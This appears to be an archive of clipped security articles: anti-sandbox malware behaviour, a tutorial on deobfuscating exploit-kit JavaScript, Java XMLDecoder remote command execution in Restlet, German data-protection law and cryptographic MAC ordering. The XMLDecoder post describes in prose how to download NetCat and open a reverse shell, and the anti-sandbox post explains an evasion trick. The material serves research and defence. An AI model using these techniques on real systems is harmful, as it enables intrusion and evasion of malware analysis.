In total, I was able to pull out about 500 XSS urls in about 1 minute. This
isn’t anything crazy, but it’s always good to see other encoded examples of
XSS to put into your own toolkit.

I included the python script and you can use it at your will \[reddit.py\]. I
have also included a small chunk of the XSS output right here
\[small\_output.txt\]. If you want the whole list, just run the script and you
will have all 500+ XSS.

Special thanks goes out to reddit and if I took your XSS and want some karma,
let me know.

-cheetz
## Recently

  * script – alert\(‘REDDIT’\) – /script
  * Down the Rabbit Hole of IPv6
  * B-Sides DE
  * Bossing with JBoss
  * DefCon 18 – 2010
  * Fuzzing 101 with Sulley
  * Using NTP to Enumerate Client IPs
  * CanSecWest – Pwn2Own
  * User Agent Scanner
  * Google owns the world…

# Reverse Engineering the Microsoft Extended FAT File System \(exFAT\)

**Created:**| _2/25/2010 10:59:11 PM_  
---|---  
**Updated:**| _2/25/2010 10:59:34 PM_  
**Author:**| __  
**Tags:**| _Forensics reversing_  
  
<img src='img/Temp2_6917' />

# Adobe Reader's Custom Memory Management: a Heap of Trouble

**Created:**| _4/15/2010 3:46:49 PM_  
---|---  
**Updated:**| _4/15/2010 3:47:30 PM_  
**Author:**| __  
**Tags:**| _bookmark Exploit research reversing conference-material
vulnerability programming awesome Heap_  
  
<img src='img/Temp2_478' />

# Joe Security LLC - News: Anti Sandbox / MAS - Nice Trick

**Created:**| _8/26/2012 8:34:17 PM_  
---|---  
**Updated:**| _8/26/2012 8:34:17 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis sandboxing_  
  

### Anti Sandbox / MAS - Nice Trick

Today we have been notify by a Joe Sandbox user about a sample which does not
show any suspicious activities:  
  
  
  
http://www.joesecurity.org/reports/report-20be4f07f9a12c35463361a7212ca5ff.html  
  
  
  

<img src='img/6111_Untitled.png' width='320' height='128' />

  
  

What is striking is the following file operation:

  
  

<img src='img/6113_Untitled.png' width='320' height='239' />

  
  
The binary is trying to open the SCSI device object \(\\\\.\scsi0\). Because
the analysis have been executed on a VirtualBox VM with an SCSI adapter an
SCSI0 device object is present and CreateFile returns a valid handle.  
  
  
  
Thus we thought this sample is trying to detect virtual machines by checking
if an SCSI controller is present and by reading some information from the SCSI
device \(over IOCTL\_SCSI\_PASS\_THROUGH, INQUIRY\):  
  
  
  
**_NtDeviceIoControlFile_**  
  
  
  
FH -> \Device\Harddisk0\DR0  
  
OC -> 4D004  
  
IB ->  
  

<img src='img/6112_Untitled.png' width='320' height='43' />

IBL -> 2C  
  
OBL -> 10C  
  
OB -> \(VirtualBox\)  
  
  
  

<img src='img/6110_Untitled.png' width='320' height='183' />

  
  
-> \(native System\)  
  

<img src='img/6107_Untitled.png' width='320' height='184' />

NS -> 0  
  
  
  
After few hours of reverse engineering we found out that we were on the
completely wrong way. Although the sample is reading disk information it does
not terminate / crash. Rather it performs some interesting tasks in a loop:  
  
  
  
  
  

<img src='img/6115_Untitled.png' width='320' height='70' />

  
  

  
  

<img src='img/6114_Untitled.png' width='320' height='165' />

  
  

Actually it queries the foreground window which is always the desktop window
on automated malware analysis systems, sleeps, loops. Thus we have written the
following tiny cookbook \(cookbooks are scripts to simulate user behavior on
Joe Sandbox\):  
  
  
  
  
  

<img src='img/6109_Untitled.png' width='166' height='320' />

  
  
Right after launching the sample on line 20, the start menu is opened, which
is obviously a different window than the desktop window. The results are
amazing:  
  
  
  
  
  

<img src='img/6108_Untitled.png' width='320' height='286' />

  
  
  
  
http://www.joesecurity.org/reports/report-20be4f07f9a12c35463361a7212ca5ff-1.html  
  
  
  
Checking if something changes on the user desktop is a nice generic trick to
bypass automated malware analysis systems. We have seen similar tricks like
checking if the mouse pointer is not moving for a particular time. All these
trick belong to the family of logic bombs. Logic bombs are particular checks
in the program which require certain events to be true in order to execute the
malicious payload.  
  
  
  
Our philosophy of defeating logic bombs is a high quality analysis report. By
understanding the behavior of the logic bomb code in the analysis report human
analysts are able to trigger the events by writing a simple but effective
cookbook.  
  
  
  
Credits for sample sharing: www.abuse.ch

# Deobfuscating malicious code layer by layer | PandaLabs Blog
**Created:**| _10/20/2011 11:34:59 AM_  
---|---  
**Updated:**| _10/20/2011 11:34:59 AM_  
**Author:**| __  
**Tags:**| _Debugging Obfuscation_  
  

# Deobfuscating malicious code layer by layer

Oct 20

  * \(0\) Comments
  * Posted on 10/20/11 by Luis Corrons

**Article written by David Sánchez Lavado**

This post explains how to analyze the malicious code used in current _Exploit
Kits._

__

There are many ways to analyze this type of code, and you can find tools that
do most of the job automatically. However, as researchers who like to
understand how things work, we are going to analyze it with no other tools
than a text editor and a Web browser.

My goal is to lay the basis for you to learn how to remove the different
obfuscation layers that a malicious _JavaScript_ code may employ _._ I will
teach you how to remove those layers step by until you get to the last layer
where the logic that exploits the relevant vulnerability is found _._

> **_IMPORTANT:_**_I recommend that you perform this type of analysis on a
> virtual machine on its own isolated network in a laboratory dedicated
> exclusively to this type of research to avoid unwanted infection._
**BASIC CONCEPTS**

Generally speaking, malicious code is used to exploit vulnerabilities in Web
browsers and PDF readers like Adobe Reader or Foxit. This code is usually
written in **_javascript_** and has various layers of obfuscation. Code
obfuscation techniques are generally used to make code difficult to understand
for researchers, avoid detection by signatures or bypass automated scanning
tools. The way they work is really _simple_ : each of these layers calls other
functions that obfuscate code that will become part of the next layer and so
on and so forth until the final code _._

The final code is normally divided into two parts. The first one aims at
detecting the Web browser version and the **_plug-ins_** installed on the
victim’s computer \(like Adobe Reader, Apple Quicktime or the Java virtual
machine\). The second part selects the vulnerability to exploit according to
the information gathered in the first part.

**CODE ANALYSIS**

The image below is a screenshot of the malicious code to be analyzed in this
article.

<img src='img/Temp2_2124.jpg' width='661' height='301' alt='alt' />

As you can see, the code is made up of several _HTML_ objects. However, if you
look closer you can actually identify different things in these objects:_
First: _The value of the id attribute for each of these objects has the format
“<number>+CytobimusubekUda”, where “<number>” is a number from 0 to 1230 in
consecutive order._ Second:_ The value of each object is an apparently
meaningless string of characters of approximately the same length, and the
word Add repeated several times inside it.

All this seems to indicate that the _id_ attribute is used as an index \(look
at the consecutive numbers\) in a cycle to parse all HTML objects and
deobfuscate their contents to create a new code layer. Let’s start analyzing
the code _._

**FORMATTING THE CODE**

The first thing I usually do when examining a _javascript_ code is use the
_Format Code_ option in _Malzilla_. This option formats the code as if it had
been written with a program such as _Visual Studio._ Although simple, this is
a very important step as many times the code is not properly formatted and is
hard to understand.

You could also do this manually, line by line, but you risk making a mistake
and it will take you too long. For example, the malicious code that we will
analyze here contains almost 600 lines of script code and HTML code.

> _Malzilla_ is an excellent utility to analyze malicious code automatically.
> However, in this article we intend to analyze this malware strain manually.
<img src='img/Temp2_2120.jpg' width='660' height='375' alt='Unformatted code
(before using the "Format Code” option)' />

Unformatted code \(before using the "Format Code” option\)

<img src='img/Temp2_2130.jpg' width='659' height='374' alt='Well-formatted
code (after using Malzilla’s “Format Code” option)' />

Well-formatted code \(after using Malzilla’s “Format Code” option\)

**THE TOOL**

The next step is to copy the well-formatted _Javascript_ code to the text
editor to be used in the analysis. Any text editor with the following basic
options should be enough:

  1. _JavaScript code identification:_ It will help you view the code and quickly detect Javascript functions.
  2. String search-and-replace:__ This will help you avoid mistakes when replacing the names of functions and variables.
  3. Windows Tabs: This is optional. Tabs will let you work very quickly when analyzing the code of various files.

**FINDING THE ‘START’ FUNCTION**

The sample currently has 96 lines of _javascript_ code and more than 500 lines
of HTML code. You will reduce the number of lines as you remove the
obfuscation layers. The first thing you have to do is determine the
_javascript_ code that runs when the browser loads the malicious Web page.
Then you have to analyze all the other functions as they are run _._

> The first steps to take with every function are the following:
>   1. Simplify the code to analyze
>   2. Rename the functions and variables for the code to be easier to
> understand.
>

To do that, first check the _HTML_ code, and if there is no _HTML_ object that
calls a _javascript_ function, proceed to analyze the code found between the
<script> and </script> tags. There you must find the code that does not belong
to a function definition, as that will be the code that runs automatically
when the Web page is loaded by the browser.

The screenshot below shows that code between lines 81 and 89 \(both
included\). You can also see that the **_HazakeduhaQurenepenus\(\)_** function
\(85\) is the first one to run \(the previous three don’t perform any
important actions\). Therefore, this is the first function that you must
analyze.

<img src='img/Temp2_2128.jpg' width='657' height='349' alt='Code run on
loading the page (red rectangle)' />

Code run on loading the page \(red rectangle\)

**SIMPLIFYING THE CODE AND MAKING IT EASIER TO UNDERSTAND**

Simplifying the code and making it easy to understand is one of the most
difficult yet important tasks. It involves studying almost every instruction
in the _javascript_ code, and modifying them to create a code that is easier
to understand and analyze.

> **VERY IMPORTANT:** When modifying the code, don’t change the final result
> that would be returned by the original code.
As previously said, start with the **_HazakeduhaQurenepenus\(\)_** function.
This function looks like this:

<img src='img/Temp2_2114.jpg' width='661' height='330'
alt='“HazakedubaQurenepenus()” function before the analysis' />

“HazakedubaQurenepenus\(\)” function before the analysis

In the code, pay special attention to the functions that are not part of the
javascript API, that is, the functions programmed by the user. You have to
resolve the value that these will return in order to analyze the function.

In the code above, the factor to resolve is the **PypiwIgo\(\)** function that
has the following code:

<img src='img/Temp2_2122.jpg' width='493' height='110' alt='alt' />

If you take a look at it and you are familiar with the _javascript****_
language, you will realize that the function will return the**
_getElementById_** string every time it is called.**__** With this in mind and
knowing that the **_DeqesedaDakonyqev_** variable refers to the **_document_**
object, you can make the first change for the code to be easier to understand.
The resulting code will look like this:

<img src='img/Temp2_2131.jpg' width='602' height='360'
alt='“HazakedubaQurenepenus()” function after the analysis' />

“HazakedubaQurenepenus\(\)” function after the analysis

You may have noticed that I have changed the name of several variables and of
the analyzed function itself to **_func\_decrypt\_01._** This may seem a
little bit bold, but after having analyzed many functions like this you become
capable of recognizing certain code structures at a glance.

Your next objective is to resolve the value to be returned by the function in
the **_buffer_** variable. To do that, you must separate the function from the
original code and run it independently. Prior to that, you must make sure that
the function to analyze will not need any external values or any other piece
of data calculated by any other function of the assigned code in any global
variable. Otherwise, you will have to first calculate that value and then
replace it in the code to isolate. This is very important as otherwise you
will probably not be able to run the code separately: the Web browser will
show an error when loading the page and it will not be possible to run the
code or it simply won’t behave in the same way as if it had been run with the
entire malicious code.

Let’s see this with an example in the code we are analyzing. The following
instruction refers to an external value in the **_DasuRokyduconiwidy_ HTML
object _._**

> string\_01 = document.getElementById\(“DasuRokyduconiwidy”\).innerHTML;
The resulting value is assigned to the **_string\_01_** variable. Since this
variable is used inside the code, you must resolve its value. Otherwise, if
the variable was only used to confuse the user, you could eliminate it from
the code.

> The technique of using data in _HTML_ objects and referring to it from the
> _javascript_ code is frequently used to obfuscate code by splitting it into
> parts. This serves to bypass the automatic analyses performed by certain
> tools unable to interpret the connection between the _javascript_ and the
> _HTML_ code _._
> This _anti-analysis_ technique is also used by malicious PDF files. The
> technique involves making calls to the _Adobe PDF_ _API’s javascript_
> functions, which cannot be interpreted by many analysis tools.
The first thing you need to do is find the **DasuRokyduconiwidy** object.****
Once you find it, assign its value to the **_string\_01_** variable in the
script code that you have created, and replace the **_return buffer_**
instruction with a _TEXTAREA_ object that will show the content of the
**_buffer_** variable once the new code is run in the Web browser.

<img src='img/Temp2_2117.jpg' width='666' height='251' alt='Value of the
DasuRokyduconiwidy object and line of code to replace' />

Value of the DasuRokyduconiwidy object and line of code to replace

The screenshot below shows the simplified code and how the “**return**
**_buffer_** ” instruction has been replaced with a _textarea_ object created
at runtime.

<img src='img/Temp2_2118.jpg' width='665' height='296' alt='New code created
to view the result of the buffer variable' />

New code created to view the result of the buffer variable

Once you have the code, open it with the Web browser to see the function
result.

<img src='img/Temp2_2133.jpg' width='667' height='71' alt='Value of the buffer
variable ' />

Value of the buffer variable

As you can see, the returned result is a string comprising a sequence of names
of _javascript_ API functions. Once you have resolved the value obtained when
calling the **_func\_decrypt\_01_** function, rename the **_GuzoZaq_**
variable. This is the variable that the return value is assigned to. For
example, call it **_concat\_func\_string_** _,_ and then assign to it the
value obtained in the _textarea_ object. The code will look like this.

<img src='img/Temp2_2129.jpg' width='667' height='107' alt='concat_func_string
variable with the value already resolved' />

concat\_func\_string variable with the value already resolved

Continue analyzing the code run when loading the Web page. The next function
to analyze is **_NupUr_ _\(\)_**_._ This function calls function
**_HaynubOguf_ _\(\)_** , which you must resolve before continuing to analyze
the code. **_HaynubOguf_ _\( \)_** is a very simple function that returns the
**_substr_** string, which is the name of a _javascript_ function whose job is
to obtain a substring from a string. Therefore, rename the **_HanynubOguf_
_\(\)_** function to **func\_substr\(\)**. The **NupUr\(\)** function will
look like this.

<img src='img/Temp2_2119.jpg' width='666' height='61' alt='NupUr() function to
analyze' />

NupUr\(\) function to analyze

Now that you have “resolved” the different parts of the function code, make
the code more readable. This involves resolving the names of all the functions
in brackets from inside out.

As you can see, the code uses the **_concat\_func\_string_** variable. If you
remember, this variable refers to a string made up of the names of multiple
_javascript_ API functions. Also, note that the code uses the **substr**
variable as well. This indicates that part of the string will be extracted to
obtain the name of the function to be later on used in the code.

**_Original function_**| ** _Resolved function_**  
---|---  
\[**func\_substr**\(\)\]\(63,14\)| **.substr\(** 63,14**\)**  
\[**concat\_func\_string.substr\(** 63,14**\)**\]| **getElementById**  
\[**func\_substr\(\)**\]\(1736/56,585/65\)| \[**func\_substr**\(\)\]\[31,9\] →
**.substr\(** 31,9**\)**  
\[**concat\_func\_string.substr\(** 31,9**\)**\]| **.InnerHTML**  
The result is the following code:

<img src='img/Temp2_2123.jpg' width='668' height='150' alt='Resolved NupUr()
function' />

Resolved NupUr\(\) function

As you resolve more and more functions you will be able to discover the
actions to be taken by the rest of them simply by taking a glance at their
code. This is because you’ll have already resolved many unknown values. This
will help you analyze other functions more quickly and eliminate obfuscation
layers more easily.

Finally, let’s analyze the **_MivoJaqugutec\(\)_** function:

<img src='img/Temp2_2125.jpg' width='666' height='117' alt='Unresolved
NivoJaqugutec function' />

Unresolved NivoJaqugutec function

At first glance, the first thing that you can identify in the code is a cycle
that runs through all of the _HTML_ objects _,_ storing their values and
concatenating them in the **_PofUhicehofudilysuwe_** variable returned by the
function once the cycle ends. Well, with everything you have learnt so far you
probably know what to do. Separate the function from the original code,
resolve the unknown values and rename its variables for the code to be easier
to understand. Your objective should be to determine the value of the
**_PofUhicehofudilysuwe_** variable in the **return __** instruction.

<img src='img/Temp2_2112.jpg' width='666' height='409' alt='Code used to get
the value of the PofUhicehofudilysuwe variable renamed to buffer ' />

Code used to get the value of the PofUhicehofudilysuwe variable renamed to
buffer

Once you run the code on the Web browser you’ll get the following result:

<img src='img/Temp2_2121.jpg' width='661' height='424' alt='alt' />

Similarly, transform the other functions in the code that’s left to analyze.
The final result is quite interesting: you’ve gone from 96 lines of
_javascript_ code and some 500 lines of HTML code to just 2 lines of
_javascript_ code with the **eval\(\)** and**unescape\(\)** functions.

<img src='img/Temp2_2113.jpg' width='667' height='49' alt='alt' />

These 2 functions normally indicate the execution of a new obfuscation layer.
Have you reached your final objective yet? Is this the final layer responsible
for triggering the vulnerability? Well, let’s see what it contains.

**ACCESSING THE FINAL CODE**

****

The last 2 lines of code include the **_payload_** variable, which refers to
an encoded, 55,496-character-long _unicode_ string. After running its content
with the **_eval\( unescape\(payload\) \)_** instruction you’ll get to the
last layer in the malicious code.

In this last part of the article we will only analyze the generic parts often
found in malicious codes.

****

The following two screenshots show a series of instructions that are often
used both in legitimate and malicious code, although with very different
purposes. Whereas they are used in legitimate code for design purposes, in
malicious code they are used to obtain information about the victim’s
environment and exploit the most appropriate vulnerability.

<img src='img/Temp2_2116.jpg' width='666' height='121' alt='alt' />

<img src='img/Temp2_2115.jpg' width='665' height='87' alt='alt' />

As you can see in the two screenshots above, the programmer has used the
**_userAgent_** method of the **_navigator_** object to identify the Web
browser used by the victim. In the case of Internet Explorer they check to see
if the version is lower than 6.

They also try to identify if there are any plug-ins installed on the browser.

<img src='img/Temp2_2132.jpg' width='664' height='56' alt='alt' />

In this code the programmer has decided to create an object identified by the
**_CLSID CA8A9780-280D-11CF-A24D-444553540000_** in the **_Pdf1_** variable.
Although the name of the variable gives a hint as to what object the
programmer wants to create, let’s make sure. Use the _regedit.exe_ tool to
find the _CLSID key_ in the Windows registry _._

_<img src='img/Temp2_2126.jpg' width='669' height='152' alt='alt' />_

Our suppositions were true: The CLSID key refers to the Adobe Acrobat/Reader
ActiveX control. The programmer has created this object to find out if the
victim has Adobe Acrobat or Adobe Reader installed \(and what version they are
using\), and select the malicious PDF file that can exploit one of the
vulnerabilities in the detected version.

They use the **_GetVersions\(\)_** method to find out the version of the Adobe
program installed on the victim’s computer, as seen in the first instruction
in the code below:

<img src='img/Temp2_2127.jpg' width='663' height='298' alt='alt' />

The last part of the code is used to select the most appropriate PDF file to
exploit the vulnerability. If the value of the **_lv_** variable is greater
than or equal to 800 \(which possibly identifies version 8\), the code will
call the **_fghjdfgxbz_** function passing the string “** _d0456d.pdf_ ” **as
a parameter. Otherwise, it will pass the “** _07dd5d.pdf_ ” **string as a
parameter.**** The **_fghjdfgxbz_** function simply creates an _IFRAME_ object
at runtime that points to the value passed as the parameter. As a result, the
Web browser will open a malicious PDF file designed to exploit an unpatched
security vulnerability.

To sum up, in this article we have explained how to analyze and deobfuscate
the layers of one of the malicious codes currently used in exploit kits, with
just a text editor, a Web browser and some knowledge of JavaScript and HTML.
We have also analyzed part of the final code to show you some of the methods
used to detect the Web browser and the plug-ins installed on victims’
computers. Happy hunting\!\!

# Dinis Cruz Blog: Using XMLDecoder to execute server-side Java Code on an
Restlet application \(i.e. Remote Command Execution\)

**Created:**| _8/8/2013 12:56:54 PM_  
---|---  
**Updated:**| _8/8/2013 12:56:54 PM_  
**Author:**| __  
**Tags:**| _Java vulnerability xml_  
  

# **U** sing XMLDecoder to execute server-side Java Code on an Restlet
application \(i**.** e**.** Remote Command Execution****\)

At the DefCon REST Presentation  we did last week \(see slides here \), after
the Neo4J CSRF payload to start processes \(calc and nc\) on the server  demo,
we also showed how dangerous the Java’s XmlDecoder  can be**.**  
  
\(tldr: scroll to the end of the article to see how to create an XML file that
will trigger an reverse-shell from an REST server into an attacker's box\)  
  
I have to say that I was quite surprised that it was possible to execute Java
code \(and start processes\) from XML files**\!**  
  
Abraham  and Alvaro  deserve all the credit for connecting the dots between
XMLDecoder and REST**.**  
  
Basically what happens is that the Java’s JDK has a feature called Long Term
Persistence  which can be used like this:  
  

<img src='img/Temp2_2265.png' alt='image' />

  
  
As you can see by the example shown above, the Xml provided to XMLDecoder API
is able to create an instance of **_javax.swing.JButton_** and invoke its
methods**.**  
  
I can see why this is useful and why it was added to the JDK \(since it allows
for much better ‘ _Long Term Object Persistence’\)_ , BUT, in practice, what
this means is that java payloads can be inserted in XML files/messages**.**  
  
This is already dangerous in most situations \(i**.** e. when was the last
time that you actually thought that an XML file was able to trigger code
execution on a server\), BUT when you add REST to the mix, we basically have a
‘Remote Code/Command Execution’ vulnerability**.**  
  
**Awareness for this issue**  
Although there is some awareness out there of the dangers of XMLDecode, I
don’t think there is enough understanding of what is possible to do with the
XML provided to the XMLDecoder **.**  
  
For example Is it safe to use XMLDecoder to read document files**?** asks:  
  

<img src='img/Temp2_2267.png' alt='image' />

  
  
..**.** with the answer being spot on:  
  

<img src='img/Temp2_2259.png' alt='image' />

  
  
Unfortunately, one really has to look for those ‘alerts’, since the main
XMLDecoder info/documentation doesn’t mention them**.**  
  
For example the main links you get by searching for XMLDecoder:  
  

<img src='img/Temp2_2273.png' alt='image' />

  
  
..**.** encourage its use:  
  

<img src='img/Temp2_2275.png' alt='image' />

  
  
...and provide no info on the _‘remote code execution’_ feature of
XMLDecoder**.**  
  

<img src='img/Temp2_2277.png' alt='image' />

  
  
**Connecting the Dots: Using XmlDecoder on an REST API**  
There are two key scenarios where this ‘ _feature_ ’ becomes a spectacular
vulnerability:

  1. Server-side backend system that process attacker-controlled XML files using XMLDecoder 
  2. REST APIs that uses XMLDecoder to create strongly type objects from the HTTP Request data

And the 2nd case is is exactly what happens with Restlet  REST API , which
wraps XMLDecode in its org.restlet.representation.ObjectRepresentation<T>
feature/class**.**  
  
Note how the documentation page:  
  

<img src='img/Temp2_2254.png' alt='image' />

  
  
..**.** makes no reference to the dangerous use of XMLDecoder \(ironically, it
doesn’t even mention XMLDecoder , just that it can parse data created by
XMLEncoder \)  
  
  
**How XMLDecoder is used in Restlet**  
In Restlet the ObjectRepresentation<T> class can be used on REST methods to
create objects from the HTTP request body \(which is an XML string\) **.**  
  
For example, on the PoC that we created for the DefCon presentation  \(based
on one of RestLet source code example apps\)  

<img src='img/Temp2_2282.png' alt='image' />

  
  
..**.** I changed the code at Line 68 \(which manually retrieved data from the
HTTP Request data\)  
  

<img src='img/Temp2_2257.png' alt='image' />

  
  
..**.** into the code you can see below at line 72  
  

<img src='img/Temp2_2263.png' alt='image' />

  
  
..**.** which uses ObjectRepresentation<T> to map the HTTP Request data into
an object of type _Item_ :  
  

<img src='img/Temp2_2270.png' alt='image' />

  
  
Note that this is exactly the capability that are provided by MVC Frameworks
that automagically bind HTTP post data into Model objects**.** This 'feature'
is the one that creates the the Model Binding Vulnerabilities which I have
been talking about here , here , here , here , here , here , here  and here
**.** In fact, the XMLDecoder is is a ModelBinding Vulnerability \(also called
Over Posting, Mass Assignment or Auto Binding vulns\) on steroids, since not
only we can put data on that object, we can create completely new ones and
invoke methods in them**.**  
  
Before you read the exploits, remember that the change I made to the code
\(see below\)  
  

<img src='img/Temp2_2276.png' alt='image' />

  
  
… is one that any developer could do if tasked with automatically casting the
received REST XML data into Objects**.**  
  
In order to develop the exploits and create PoCs, I quickly wrote an O2
Platform  based tool, which you can get from here :  
  

<img src='img/Temp2_2256.png' alt='image' />

  
  
This tool :  
  

<img src='img/Temp2_2284.png' alt='image' />

  
  
… provided a gui where these XML exploits :  
  

<img src='img/Temp2_2283.png' alt='image' />

  
  
…could be easy sent to a running instance of the test RestLet app**.**  
  
**Multiple examples of what can be done using the XMLDecode meta-language**  
1 - create item \(Simple\).xml  \- normal object creation  
  

<img src='img/Temp2_2271.png' alt='image' />

  
  
2 - create item \(using properties\).xml  \- object creation and calling
setters  
  

<img src='img/Temp2_2261.png' alt='image' />

  
  
3 - create item \(from var\).xml  \- creating and using an variable  
  

<img src='img/Temp2_2272.png' alt='image' />

  
  
4 - create item \(and more\).xml  \- creating/invoking a complete different
class  
  

<img src='img/Temp2_2281.png' alt='image' />

  
  
5 - create item \(and calc\).xml  \- starting cacl.exe using Java's
**_Runtime.getRuntime\(\)_ **.** **Note that this example is VERY STEALTH
since there will be no casting error thrown by the XMLDecoder conversion \(the
first object created in the XML execution is the one returned, which in this
case is the expected one \(firstResource.Item\)\)  
  

<img src='img/Temp2_2260.png' alt='image' />

  
  
6 - Process Builder - Start a Calc.xml  \- Create a complete different object
\(ProcessBuilder\) which will throw an casting error ..**.** after the process
execution starts :\)  
  

<img src='img/Temp2_2258.png' alt='image' />

  
  
7a - Creating a File.xml  \- in the target app we were using there was no
webroot available with ability to render JSPs \(it was a pure REST server with
only REST routes\)**.** But if it there was one, and we could write to it, we
could use the technique shown below to upload an JSPShell \(like this one \),
and exploit the server from there**.**  
  

<img src='img/Temp2_2262.png' alt='image' />

  
  
7b - Creating a Class File.xml  \- since we can upload files, we can compile a
class file locally and 'upload' it to the server  
  

<img src='img/Temp2_2274.png' alt='image' />

  
  
7d - execution class file - anotherExecute- calcl.xml  \- in this case the
class file we uploaded had a method that could be used to start processes  
  

<img src='img/Temp2_2278.png' alt='image' />

  
  
8a - HttpResponse - return variable.xml  \- this is a cool technique where I
found the Restlet equivalent of HttpServletresponse, so I was able to write
content directly to the current browser  
  

<img src='img/Temp2_2255.png' alt='image' />

  
  
8b - HttpResponse - return variables.xml  \- which can be used to return data
assigned to XMLDecoder created variables  
  

<img src='img/Temp2_2253.png' alt='image' />

  
  
8c - HttpResponse - return JavaProperties.xml  \- In this case the
**_java.lang.getProperties_** values \(but if this was a real app, we could
use this to extract data from the database or in memory objects\)  
  

<img src='img/Temp2_2266.png' alt='image' />

  
  
8d - Exploit - Create XSS.xml  \- another option is to trigger XSS on the
current user \(usefully if the first payload was delivered over CSRF to the
victim\)  
  

<img src='img/Temp2_2279.png' alt='image' />

  
  
8e - HttpResponse - execute process - read two lines.xml  \- here is a way to
execute a process and get its output shown in the browser  
  

<img src='img/Temp2_2264.png' alt='image' />

  
  
9a - download NetCat.xml  \- here is how to trigger a http connection from the
server into the attacker's box and download the NetCat tool  
  

<img src='img/Temp2_2268.png' alt='image' />

  
  
9b - Start NetCat reverse shell.xml  \- once NetCat is available on the
server, we can use it to send a reverse-shell an external IP:Port  
  

<img src='img/Temp2_2252.png' alt='image' />

  
  
This is when I run out of time for writing more PoCs....  
  
..**.** but as you can see by the end, I was just about writing Java code,
only thing I didn’t figure out how to do create loops and anonymous
methods/classes \(need to look at the Command Pattern \)**.**  
  
I also hope that by now you see how dangerous the XMLDecoder capabilities are,
and how its use must be VERY VERY carefully analysed and protected**.**  
  
**How to use XMLDecoder be safely**?****  
I’m not entirely sure at the moment**.**  
  
The Secure Coding Guidelines for the Java Programming Language, Version 4**.**
0 have a note on '_Long Term Persistence of JavaBeans'_ :  
  

<img src='img/Temp2_2269.png' alt='image' />

  
  
But the Long Term Persistence of JavaBeans Components: XML Schema  article
\(which btw is the best resource out there on how to use the XmlDecoder\), has
no mention of Security**.**  
  

<img src='img/Temp2_2280.png' alt='image' />

  
  
Hopefully the presentation that we did at DefCon and blog posts like this,
will raise the awareness of this issue and good solutions will emerge  
  
Note that I’m not as good in Java as I am in .NET, so I’m sure there is
something in Java or JDK that I’m missing**.**  
  
Let me know what you think of this issue, if there are safe ways to use
XmlDecoder and if you spot other dangerous uses of XmlDecoder**.**  
  
**_UPDATE: Presentation slides_**  
See this page for the presentation slides  \(hosted by SlideShare\) ****

# German Federal Parliament Passes New German Data Protection Act

**Created:**| _5/7/2017 10:24:31 AM_  
---|---  
**Updated:**| _5/7/2017 10:25:23 AM_  
**Author:**| __  
**Tags:**| _privacy gdpr data-protection_  
  

# German Federal Parliament Passes New German Data Protection Act

May 1, 2017 Js Op de Beeck BlogPost, CISO, Privacy 0

<img src='img/Temp2_3463.png' width='678' height='381' />

On April 27, 2017, the German Federal Parliament adopted the new German
Federal Data Protection Act\(_Bundesdatenschutzgesetz_\) \(“new BDSG”\) to
replace the existing Federal Data Protection Act of 2003. The new BDSG is
intended to adapt the current German data protection law to the EU General
Data Protection Regulation \(“GDPR”\), which will become effective on May 25,
2018.

The new BDSG includes specific requirements that deviate from the GDPR in some
respects, including with respect to the appointment of a Data Protection
Officer and the processing of employee personal data. The GDPR allows for
certain EU Member State deviations from the text of the GDPR. In addition, the
new BDSG imposes specific data processing requirements with respect to video
surveillance, and consumer credit, scoring and creditworthiness. In addition
to the high fines imposed by the GDPR, the new BDSG imposes fines of up to EUR
50,000 for violations regarding German law exclusively.

The new BDSG must now be approved by the German Federal Council, which is
expected to occur in the next couple of weeks, possibly during the May 12,
2017 plenary meeting. Once adopted, the new BDSG will become effective on May
25, 2018, at the same time as the GDPR.

Read the new German Federal Data Protection Act \(only available in German\).

# tyranid/ZeroNights2017

**Created:**| _11/23/2017 11:07:55 AM_  
---|---  
**Updated:**| _11/23/2017 11:07:55 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Skip to content

This repository

  * Pull requests 
  * Issues 
  * Marketplace 
  * Explore 

  * You have unread notifications
  *   * <img src='img/14089_11855163.png' width='20' height='20' alt='@norandom' />

  * Watch  4 
  * 44 
  * Fork  8 

#  tyranid/**ZeroNights2017**

Code Issues 0 Pull requests 0 Projects 0 Wiki  Insights

Releases Tags

Latest release

  * v1.0
  * 104318a 

#  Public Release

<img src='img/461447.png' width='20' height='20' alt='@tyranid' /> tyranid
released this 4 days ago

[code]

    v1.0
    
    Added code
[/code]

## Downloads

  * 14 MB **demo1.webm**
  * 13.4 MB **demo2.webm**
  * 5.68 MB **demo3.webm**
  * 13.8 MB **demo4.webm**
  * 4.25 MB **ZeroNights\_2017\_UAC\_Bypasses.pdf**
  * **Source code** \(zip\) 
  * **Source code** \(tar.gz\) 

  * © 2017 GitHub, Inc.
  * Terms
  * Privacy
  * Security
  * Status
  * Help

  * Contact GitHub
  * API
  * Training
  * Shop
  * Blog
  * About

  

# XCon2010\_win7

**Created:**| _8/13/2010 11:52:16 AM_  
---|---  
**Updated:**| _8/13/2010 11:52:33 AM_  
**Author:**| __  
**Tags:**| _attacks windows security web_  
  
<img src='img/XCon2010_win7.pdf' />

# Moxie Marlinspike :: Blog

**Created:**| _12/13/2011 9:06:06 PM_  
---|---  
**Updated:**| _12/13/2011 9:06:06 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

## The Cryptographic Doom Principle

December 13, 2011

When it comes to designing secure protocols, I have a principle that goes like
this: if you have to perform _any_ cryptographic operation before verifying
the MAC on a message you've received, it will _somehow_ inevitably lead to
doom.

Let me give you two popular examples.

## 1\. Vaudenay Attack

This is probably the best-known example of how performing a cryptographic
operation before verifying the MAC on a message can go wrong. In general,
there are three different ways to combine a message authentication code with
an encrypted message:

  1. **Authenticate And Encrypt** : The sender computes a MAC of the plaintext, encrypts the plaintext, and then appends the MAC to the ciphertext. Ek1\(P\) || MACk2\(P\)
  2. **Authenticate Then Encrypt** : The sender computes a MAC of the plaintext, then encrypts both the plaintext and the MAC. Ek1\(P || MACk2\(P\)\)
  3. **Encrypt Then Authenticate** : The sender encrypts the plaintext, then appends a MAC of the ciphertext. Ek1\(P\) || MACk2\(Ek1\(P\)\)

The first often fails badly, the second mostly works, and the third is
generally optimal. The third way, "encrypt-then-authenticate," is optimal
because it does not violate the doom principle. When you receive a message,
the _very first_ thing you can do is verify the MAC.

By contrast, although "authenticate-then-encrypt" works at first glance, it
does violate the doom principle. In order to verify the MAC, the recipient
first has to _decrypt_ the message, since the MAC is part of the encrypted
payload. Many protocol designers \(including the designers of SSL\) did not
see this as a problem, however, and so decided to test the inevitability of
doom.

